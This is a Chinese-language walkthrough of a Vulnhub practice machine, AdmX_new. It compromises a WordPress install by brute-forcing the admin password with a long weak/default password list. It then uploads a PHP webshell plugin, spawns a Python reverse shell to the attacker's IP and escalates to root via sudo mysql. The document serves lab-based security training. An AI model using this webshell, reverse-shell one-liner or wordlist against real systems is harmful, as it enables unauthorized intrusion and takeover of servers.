打靶记录4——靶机AdmX_new
靶机下载
百度网盘
通过百度网盘分享的文件：4.AdmX_new.7z
链接：https://pan.baidu.com/s/1EBNU6Uas93v1xXMH6SiBDg?pwd=yoxr
提取码：yoxr
或者Vlunhub上面
https://download.vulnhub.com/admx/AdmX_new.7z
靶机无法获取到IP参考博客
- Vulnhub靶机无法获取IP地址的解决思路 - Jason_huawen - 博客园 (cnblogs.com)
- 靶机无法获得IP地址，该怎么办？
- 靶机: AdmX_new - sha0dow - 博客园 (cnblogs.com)
靶机和Kali都设置成了桥接模式了，然后单用户模式修改网络配置
涉及的攻击方法
- 主机发现
- 端口扫描
- Web路径爆破
- BurpSuite自动替换
- 密码爆破
- MSF漏洞利用
- Wordpress漏洞利用
- NC反弹Shell升级成可以按Tab键自动补全的Shell
- 蚁剑上线
- 利用Mysql提权
目标
- 获取两个flag
- 获取root权限
笔记
- 企业在实际的生产环境中会进行密码的复用，比如操作系统和数据库用同一个密码
- 渗透测试还是要靠充分的信息收集才能最终成功的
主机发现
nmap -sn 192.168.0.0/24
0.100的IP是我的桥接网卡的IP，0.120是Kali的IP，那么靶机的IP就是0.101了
端口扫描和服务发现
nmap -sV 192.168.0.101
发现开着80端口，那么直接访问Web界面，发现只有一个Apache界面
路径爆破
工具可以用的有好多：
- dirsearch
- dirb
- feroxbuster
dirsearch -u "http://192.168.0.101/"
那么继续对 /Wordpress/路径下进行扫描
dirsearch -u "http://192.168.0.101/wordpress/"
访问/Wordpress/路径发现加载时间过长
查看源代码和BurpSuite发现，通过硬编码的方式写死了一些IP地址
于是通过BurpSuite的匹配和替换，也就是Match And Replace这样的一个功能，将写死的IP地址替换成目标靶机的IP地址，从而可以比较流畅的打开Web页面
先把原来的东西都Remove，然后点Add添加替换规则，把响应头和响应包中凡是带有192.168.159.145的都改成靶机IP——192.168.0.101
然后我们再去刷新访问一下页面就正常了
前面扫描又发现疑似登录后台的地址
如果随便输个账号会提示不认识该账号，但是输入admin账号会提示密码错误，说明存在admin账户
密码爆破
利用网上搜集而来的高质量弱密码字典再结合BurpSuite来爆破密码
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112233
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123456789
12345678910
123123
666666
111111
0
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741963
admin
adam14
test
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admin123
admin112233
888888
999999
141414
test123
222222
321123
123321
11111111
66666666
88888888
asd123456
asd123456789
asd12345678
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qwerty
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123456aa
woaini
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zhang123
aptx4869
123123a
1qazxsw2
5201314a
aini1314
q1w2e3r4
123456qq
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a111111
iloveyou
abc123
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Ftp12345
Derby123
defaultCertPwd@12
sek123
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infoseclab
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DECMAIL
DECNET
NONPRIV
DIGITAL
HELPDESK
HOST
INFO
INGRES
LINK
MAILER
MBMANAGER
MBWATCH
NETCON
NETMGR
NETNONPRIV
NETPRIV
NEWINGRES
OPERVAX
PDP11
PDP8
POSTMASTER
PRIV
REPORT
STUDENT
SYSMAINT
UETP
SYSTEST
SYSTEST_CLIG
TELEDEMO
VAX
VMS
accounting
boss
software
BRIDGE
michelangelo
PBX
my_DEMARC
calvin
Dell
nz0u4bbe
1RRWTTOOI
storageserver
MServer
tatercounter2000
db2pass
db2pw
db2password
dasusr1
db2admin
Daytec
davox
any@
ioFTPD
tini
Daewuu
tslinux
surt
Congress
cgadmin
CTX_123
Crystal
ergc
x40rocks
coremail
corecess
ducati900ss
t0talc0ntr0l4!
29111991
amigosw1
last
asecret
Compaq
240653C9467E45
mydlp
dmr99
CantTouchThis
eTIPS123
RAV
converge
familymacintosh
nsroot
rootadmin
citel
riverhead
cmaker
attack
_Cisco
cable-docsis
otbu+1
7936
diamond
tsunami
changeme2
hsadb
pnadmin
perfectpraise
blender
secur4u
wlsedb
wlsepassword
iolan
protection
tooridu
cellit
mediator
Mua'dib
PracticeUser1
DV5800
7654321
camera
pamadmin
nq
brocade1
Fact4EMC
Serv4EMC
fibranne
fivranne
broadmax
installer
webadmin
laflaf
RPSsql12345
live
correct
BackupU$r
articon
22332323
nimda
ImageFolio
Biostar
Q54arwms
Babylon
biodata
snmp-Trap
funkwerk
bewan
MiniAP
Musii%1921
NetICs
ssladmin
clickshare
azkaban
1322222
256256
589589
589721
?award
AWARD
SW
AWARD?SW
AWARD_PW
AWARD_SW
BIOS
CONCAT
HELGA-S
HEWITT
RAND
HLT
SER
SWITCHES_SW
SW_AWARD
SZYX
Sxyz
TTPTHA
TzqF
ZAAADA
aLLy
aPAf
alfarome
award.sw
award_?
award_ps
awkward
biosstar
condo
djonet
efmukl
g6PJ
h6BB
j09F
j256
j262
j322
j64
lkw
peter
lkwpeter
t0ch20x
t0ch88
wodj
zbaaaca
zjaaadc
SY_MB
Administrative
Craftr4
ggdaseuaimhrke
crftpw
barney
dadmin
dadmin01
danger
xxyyzz
ROOT500
cms500
autocad
telos
atlantis
5678
5SaP9I26
mcp
SnuFG5
TJM
3ascotel
Asante
234
*ARIS!1dm9n#
atc123
scout
alpine
dottie
TENmanUFactOryPOWER
backdoor
device
OvW*busr1
j2deployer
kdsxc
xampp
s3cret
QLogic66
apachepulsar
KYLIN
guacadmin
jboss4
antsle
acc
mozart
Polrty
leaves
snake
A.M.I
AM
AMI
AMI!SW
AMI.KEY
AMI.KEZ
AMI?SW
AMIPSWD
AMISETUP
AMI_SW
AMI~
BIOSPASS
CMOSPWD
aammii
linga
allot
bagabu
secoff
alien
1064
ANS#150
adfexc
at4400
dhs3mt
dhs3pms
kilo1987
pbxk1064
tuxalize
help1954
tlah
llatsni
kermit
mtch
mtcl
letacla
permit
kn1TG7psLu
Airaya
Advance
adtran
ax400
2580
anonymous
aparker
jdoe
replication-receiver
vgnadmin
adaptec
acer
anicust
3ware
volition
RIP000
1234admin
comcomcom
synnet
recover
recovery
!root
factory
dragon
baseball
football
monkey
shadow
mustang
michael
654321
superman
7777777
121212
killer
trustno1
jordan
jennifer
asdfgh
hunter
buster
soccer
harley
batman
andrew
sunshine
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
george
computer
michelle
jessica
pepper
zxcvbn
555555
131313
freedom
777777
maggie
159753
ginger
princess
joshua
cheese
amanda
summer
love
ashley
nicole
chelsea
biteme
matthew
yankees
987654321
dallas
austin
thunder
taylor
matrix
mobilemail
mom
monitoring
montana
moon
moscow
pass123
pass@123
654321
123
admin123!@#
P@ssw0rd!
123qwe
123qwe!@#
666666
123456~a
123456!a
1234567890
8888888
abc123456
a11111
a12345
Aa1234.
Aa12345.
2wsx@WSX
qwe123!@#
Aa123456!
A123456s!
sa123456
1q2w3e
Charge123
Aa123456789
爆破得到密码adam14，成功进入后台
上传Webshell
通过插件的方式上传Webshell
编写插件，代码中的注释是必须的，是插件的格式，如果没有是无法正常上传的
<?php
/*
Plugin Name: WebShell
Plugin URI: https://blog.csdn.net/weixin_64422989?type=blog
Description: DedSecc
Author: DedSec
Version: 1.0
Author URI: https://blog.csdn.net/weixin_64422989?type=blog
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
还得先通过zip命令来把它变成压缩包才能上传
zip shell.zip shell.php
接下来就可以手动的把它传到目标服务器上了，是在这里这个位置上传
点击一下Activate按钮去激活插件
发现成功激活之后
它的默认的URL路径是/wordpress/wp-content/plugins/shell.php
然后带上参数cmd执行id命令，发现能执行成功
反弹shell
利用Python来进行反弹Shell
先看一下有没有Python3 which python3
python3 -c 'import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.120",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
nc 监听之后浏览器执行代码，成功弹回一个shell
信息收集
看一下内核
然后看Wordpress的配置文件，就是wp-config.php，发现了数据库的密码Wp_Admin#123
然后再home目录下发现一个账户wpadmin，与一个疑似flag文件，但是只有wpadmin这个账户有权限查看
猜测密码可能与后台登录密码一致，为adam14，成功获取第一个flag
sudo -l 发现该用户可以不需要密码以root权限直接执行mysql，从而得到一个root的mysql
sudo /usr/bin/mysql -u root -D wordpress -p
Mysql中可以使用 system 来执行系统命令，system也可以写出 !
成功获取root权限和最后一个flag
总结
- 先对该靶机进行了主机发现和端口扫描，只发现了一个80端口，这是我们唯一的攻击方式
- 浏览器访问发现只有一个Apache的页面，于是我们对目标的Web服务进行路径的爆破，发现了WordPress
- 但是发现加载速度很慢，于是使用BurpSuite进行抓取和分析整个Web请求的所有流量，发现是在页面上通过硬编码的方式写死了一些IP地址，于是通过BurpSuite的匹配和替换，也就是Match And Replace这样的一个功能，将写死的IP地址替换成目标靶机的IP地址，从而可以比较流畅的打开Web页面
- 于是访问到Wordpress的后台登录页面，通过密码爆破获得admin管理员的账号和密码
- 在后台总结和利用了Wordpress常见的后台利用方法，有三种
- 通过媒体上传的方式上传Webshell
- 通过主题样式进行修改或者上传Webshell
- 通过插件的方式上传Webshell，最终成功！
- 用手工和MSF的方式反弹Shell，发现手工的效果更好！
- 基于已经获得的反弹Shell，然后进行更新升级，然后利用交互的Shell，对目标系统上的404.php文件编辑，利用它来进行蚁剑的上线
- 最后是提权，利用Mysql数据自身具备的 system命令来进行了提权，前提是由于目标靶机的sudo 权限配置不当，而给我们的可乘之机
